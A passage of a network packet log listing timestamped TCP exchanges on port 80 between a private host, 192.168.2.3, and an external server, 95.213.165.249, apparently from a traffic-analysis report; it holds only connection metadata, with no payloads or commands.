Dec 1, 2021 10:05:02.320255995 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320269108 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320274115 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320291042 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320295095 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320308924 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320323944 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320327997 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320346117 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320363998 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320383072 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320393085 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320410967 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320422888 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320429087 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320447922 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320456982 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320467949 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320486069 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320493937 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320503950 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320521116 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320523977 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320538998 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320554972 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320557117 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320575953 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320593119 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320610046 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320616007 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320628881 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320645094 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320657969 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320662022 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320679903 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320698977 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320704937 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320715904 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320723057 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320734978 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320749044 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320751905 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320771933 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320790052 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320791006 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320807934 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320816994 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320825100 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320842028 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320863962 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320873022 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320890903 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320899010 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320908070 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320924997 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320941925 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320943117 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320957899 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320974112 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.320981026 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.320991993 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321007967 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321011066 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321026087 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321034908 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321043968 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321060896 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321074963 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321075916 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321093082 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321109056 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321120977 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321125984 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321142912 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321152925 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321161985 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321177006 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321183920 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321196079 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321203947 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321216106 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321232080 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321243048 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321249008 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321266890 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321281910 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321284056 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321304083 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321306944 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321320057 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321336985 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321353912 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321369886 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321377993 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321388006 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321403980 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321404934 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321420908 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321438074 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.321455956 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.321484089 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.322802067 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.322912931 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.349086046 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.349118948 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.349198103 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.379666090 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380095005 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380114079 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380134106 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380151033 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380166054 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380167961 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380188942 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380206108 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380218983 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380224943 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380242109 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380259037 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380265951 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380276918 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380295038 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380296946 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380314112 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380323887 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380331993 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380350113 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380363941 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380367994 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380387068 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380403042 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380403996 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380423069 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380429983 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380440950 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380459070 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380475998 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380482912 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380494118 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380511999 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380521059 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380528927 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380544901 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380553007 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380563974 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380580902 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380580902 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380598068 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380604982 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380616903 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380634069 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380640984 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380652905 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380670071 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380681038 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380686998 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380705118 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380712032 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380723000 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380737066 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380739927 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380758047 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380773067 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380790949 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380799055 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380810022 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380827904 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380841017 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380858898 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380870104 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380881071 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380897045 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380897999 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380916119 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380934000 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380940914 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380951881 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380968094 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.380979061 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.380985022 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381002903 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381011963 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381020069 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381036997 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381040096 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381055117 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381071091 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381086111 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381103039 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381103039 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381119967 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381135941 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381145954 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381153107 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381170034 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381172895 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381186962 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381201029 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381203890 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381222010 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381237984 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381254911 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381257057 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381273031 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381289959 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381289959 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381306887 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381316900 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381325006 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381341934 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381351948 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381357908 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381381035 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381391048 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381398916 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381416082 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381419897 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381434917 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381452084 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381478071 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381505013 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381525993 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381539106 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381576061 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381611109 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381633043 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381645918 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381668091 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.381674051 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.381731987 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.409143925 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.409185886 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.409228086 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.409293890 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.439644098 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439729929 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439748049 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439765930 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439784050 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439801931 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439815044 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439832926 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439841032 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.439851999 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439871073 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439888000 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439905882 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439922094 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439924002 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.439941883 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439959049 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439963102 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.439975977 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.439995050 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440011024 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440028906 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440030098 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440047979 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440067053 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440073967 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440084934 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440099955 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440104008 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440123081 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440140963 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440159082 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440161943 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440176964 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440195084 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440212011 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440218925 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440231085 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440247059 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440251112 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440264940 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440282106 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440298080 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440314054 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440319061 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440334082 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440350056 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440365076 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440366983 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440385103 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440401077 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440404892 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440418959 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440431118 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440437078 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440455914 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440462112 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440474033 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440490961 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440507889 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440519094 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440526009 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440542936 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440560102 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440567017 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440577984 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440594912 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440596104 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440612078 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440628052 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440649033 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440656900 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440670013 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440691948 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440699100 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440713882 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440727949 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440733910 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440756083 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440757990 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440776110 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440792084 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440799952 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440810919 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440828085 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440845013 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440855980 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440879107 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440881014 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440900087 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440916061 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440933943 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440951109 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440958977 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.440968037 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.440984964 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441000938 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441004038 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.441019058 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441030979 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.441036940 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441054106 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441065073 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.441071987 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441090107 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441095114 CET	49836	80	192.168.2.3	95.213.165.249
